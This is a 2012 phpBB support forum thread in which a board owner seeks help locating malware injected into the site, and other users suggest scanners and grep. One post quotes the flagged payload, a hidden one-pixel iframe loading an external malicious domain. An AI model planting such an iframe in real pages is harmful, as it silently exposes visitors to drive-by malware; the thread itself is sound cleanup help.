Can't find virus code in phpbb

Get help with installation and running phpBB 3.0.x here. Please do not post bug reports, feature requests, or MOD-related questions here.
Get Involved
Forum rules
END OF SUPPORT: 1 January 2017 (announcement)
azzurri
Registered User
Posts: 899
Joined: Fri Jul 21, 2006 7:48 pm

Can't find virus code in phpbb

Post by azzurri » Sun Jan 29, 2012 6:30 pm

About a year ago my site was injected with some bad code through a not so updated Wordpress site on the same server which served as a backdoor. I managed to fix everything, or so I thought. Now way later Google starts to warn that 1 page on my site has bad code in it. I have noooo idea how to find it. I tried manually but there is way too much files and text. I have found no automatic way in doing it. Does anyone have any idea? Google says it could be something like lghsfs.cc. I tried to search for ".cc" but that didn't help. I don't know what to do. I'm even thinking about closing my board all togheter. :(

User avatar
stevemaury
Support Team Member
Support Team Member
Posts: 48110
Joined: Thu Nov 02, 2006 12:21 am
Location: The U.P.
Name: Steve
Contact:

Re: Can't find virus code in phpbb

Post by stevemaury » Sun Jan 29, 2012 6:34 pm

Please fill out the Support Request Template Generator and post it back here to enable us to assist you better.
For REALLY good and VERY inexpensive hosting CLICK HERE

All unsolicited PMs will be ignored.

azzurri
Registered User
Posts: 899
Joined: Fri Jul 21, 2006 7:48 pm

Re: Can't find virus code in phpbb

Post by azzurri » Sun Jan 29, 2012 6:37 pm

Hm, that's way to complicated for me. It wants me to fill out some incident tracker but I don't know what page has been injected with malaware and so on so I cant fill it out. I'll never be able to solve this.

User avatar
stevemaury
Support Team Member
Support Team Member
Posts: 48110
Joined: Thu Nov 02, 2006 12:21 am
Location: The U.P.
Name: Steve
Contact:

Re: Can't find virus code in phpbb

Post by stevemaury » Sun Jan 29, 2012 6:47 pm

I don't know what you are looking at, but the indicident tracker is not involved at all. Just need information about your board. Did you click the link I gave you?

Without information, we cannot help.
For REALLY good and VERY inexpensive hosting CLICK HERE

All unsolicited PMs will be ignored.

wjack2010
Registered User
Posts: 42
Joined: Sat Jan 28, 2012 10:58 am

Re: Can't find virus code in phpbb

Post by wjack2010 » Sun Jan 29, 2012 6:51 pm

stevemaury wrote:I don't know what you are looking at, but the indicident tracker is not involved at all. Just need information about your board. Did you click the link I gave you?

Without information, we cannot help.
They probably chose the my board has been hacked option, which asks you to post it on the Incident Tracker.

azzurri
Registered User
Posts: 899
Joined: Fri Jul 21, 2006 7:48 pm

Re: Can't find virus code in phpbb

Post by azzurri » Sun Jan 29, 2012 6:56 pm

Is this ok?

Support Request Template
What version of phpBB are you using? phpBB 3.0.10
What is your board's URL? http://www.mysite.com
Who do you host your board with? Binero
How did you install your board? I used the download package from phpBB.com
Is your board a fresh install or a conversion? Conversion from phpBB2
Do you have any MODs installed? Yes
Is registration required to reproduce this issue? No
What MODs do you have installed? Non
What styles do you currently have installed? Progray
What language(s) is your board currently using? english
Which database type/version are you using? MySQL 5
What is your level of experience? New to PHP but not phpBB
When did your problem begin? 2 weeks ago.
Please describe your problem. About 8-9 months ago my phpbb board was injected with bad code through a wordpress site on the same server that hadn't been updated properly and was used as a backdoor. I removed all the code and everything seemed fine. Now all of the sudden Google starts to warn about my site http://www.mysite.com and says 1 page on my site has bad code (ex hflsfss.cc).

I cannot find the code! It doesnt tell me where it is and I've got hundreds of files and too much code.
Generated by SRT Generator
Last edited by azzurri on Sun Jan 29, 2012 8:19 pm, edited 1 time in total.

wjack2010
Registered User
Posts: 42
Joined: Sat Jan 28, 2012 10:58 am

Re: Can't find virus code in phpbb

Post by wjack2010 » Sun Jan 29, 2012 7:00 pm

Google tells me it has a virus too:
Warning: Something's Not Right Here!
ADDRESS REMOVED contains malware. Your computer might catch a virus if you visit this site.
Google has found malicious software may be installed onto your computer if you proceed. If you've visited this site in the past or you trust this site, it's possible that it has just recently been compromised by a hacker. You should not proceed, and perhaps try again tomorrow or go somewhere else.
We have already notified ADDRESS REMOVED that we found malware on the site. For more about the problems found on ADDRESS REMOVED, visit the Google Safe Browsing diagnostic page.

If you understand that visiting this site may harm your computer, proceed anyway.

Help improve detection of malware by sending additional data to Google about sites on which you see this warning. This data will be handled in accordance with the Safe Browsing privacy policies.
Last edited by wjack2010 on Sun Jan 29, 2012 7:36 pm, edited 1 time in total.

User avatar
Lumpy Burgertushie
Registered User
Posts: 63301
Joined: Mon May 02, 2005 3:11 am
Contact:

Re: Can't find virus code in phpbb

Post by Lumpy Burgertushie » Sun Jan 29, 2012 7:21 pm

It should be on your main page which is not a phpbb page at all.

I don't see anything but I don't read the language.


robert
I am available for custom work on a donation basis. Please send me a PM with your needs.
Premium phpBB 3.2 Styles by PlanetStyles.net

azzurri
Registered User
Posts: 899
Joined: Fri Jul 21, 2006 7:48 pm

Re: Can't find virus code in phpbb

Post by azzurri » Sun Jan 29, 2012 7:45 pm

Lumpy Burgertushie wrote:It should be on your main page which is not a phpbb page at all.

I don't see anything but I don't read the language.


robert
Thank you. May I ask you how you came to this conclusion?

User avatar
Lumpy Burgertushie
Registered User
Posts: 63301
Joined: Mon May 02, 2005 3:11 am
Contact:

Re: Can't find virus code in phpbb

Post by Lumpy Burgertushie » Sun Jan 29, 2012 7:49 pm

azzurri wrote:
Lumpy Burgertushie wrote:It should be on your main page which is not a phpbb page at all.

I don't see anything but I don't read the language.


robert
Thank you. May I ask you how you came to this conclusion?
actually, after thinking about it, the browser is only blocking it because it is listed by google.
it is not actually checking the site. if you run other checks, no malware/virus is found on your site at all.

I think google's listing is out of date. you may want to contact them to see why they are still listing it.

robert
I am available for custom work on a donation basis. Please send me a PM with your needs.
Premium phpBB 3.2 Styles by PlanetStyles.net

azzurri
Registered User
Posts: 899
Joined: Fri Jul 21, 2006 7:48 pm

Re: Can't find virus code in phpbb

Post by azzurri » Sun Jan 29, 2012 7:57 pm

I've looked through my non forum files and I can find nothing. I'm turning a bit desperate. I have no idea why it is warning. Nothing in my htaccess either.

Slackervaara
Registered User
Posts: 195
Joined: Thu Feb 28, 2008 7:46 am

Re: Can't find virus code in phpbb

Post by Slackervaara » Sun Jan 29, 2012 7:58 pm

You can search for malware with this scanner, which can't find any malware, but it reports that your site blacklisted by Google:
http://sitecheck.sucuri.net/scanner/

azzurri
Registered User
Posts: 899
Joined: Fri Jul 21, 2006 7:48 pm

Re: Can't find virus code in phpbb

Post by azzurri » Sun Jan 29, 2012 8:11 pm

Ok, now for the first time in google tools for admins I see that it warns about this code...

Code: Select all

<iframe src="http://hlqmwspl.co.cc/QQkFBg0MBAEDAAABEkcJBQcEB
AYDBAAMBA==" width="1" height="1">
I cannot seem to find it though.

azzurri
Registered User
Posts: 899
Joined: Fri Jul 21, 2006 7:48 pm

Re: Can't find virus code in phpbb

Post by azzurri » Sun Jan 29, 2012 8:31 pm

Hm visitors say they get the warning when they enter the forum without visiting the main site so I think the forum IS affected.

Slackervaara
Registered User
Posts: 195
Joined: Thu Feb 28, 2008 7:46 am

Re: Can't find virus code in phpbb

Post by Slackervaara » Mon Jan 30, 2012 1:47 am

If you hade a copy of your site in Linux, it would only take a minut to find out, if your files contained http://hlqmwspl.co.cc/ with the grep command. Probably you can search your files in Windows also, if you have the proper program.

Locked

Return to “[3.0.x] Support Forum”

Who is online

Users browsing this forum: andares, Sogou [Spider] and 95 guests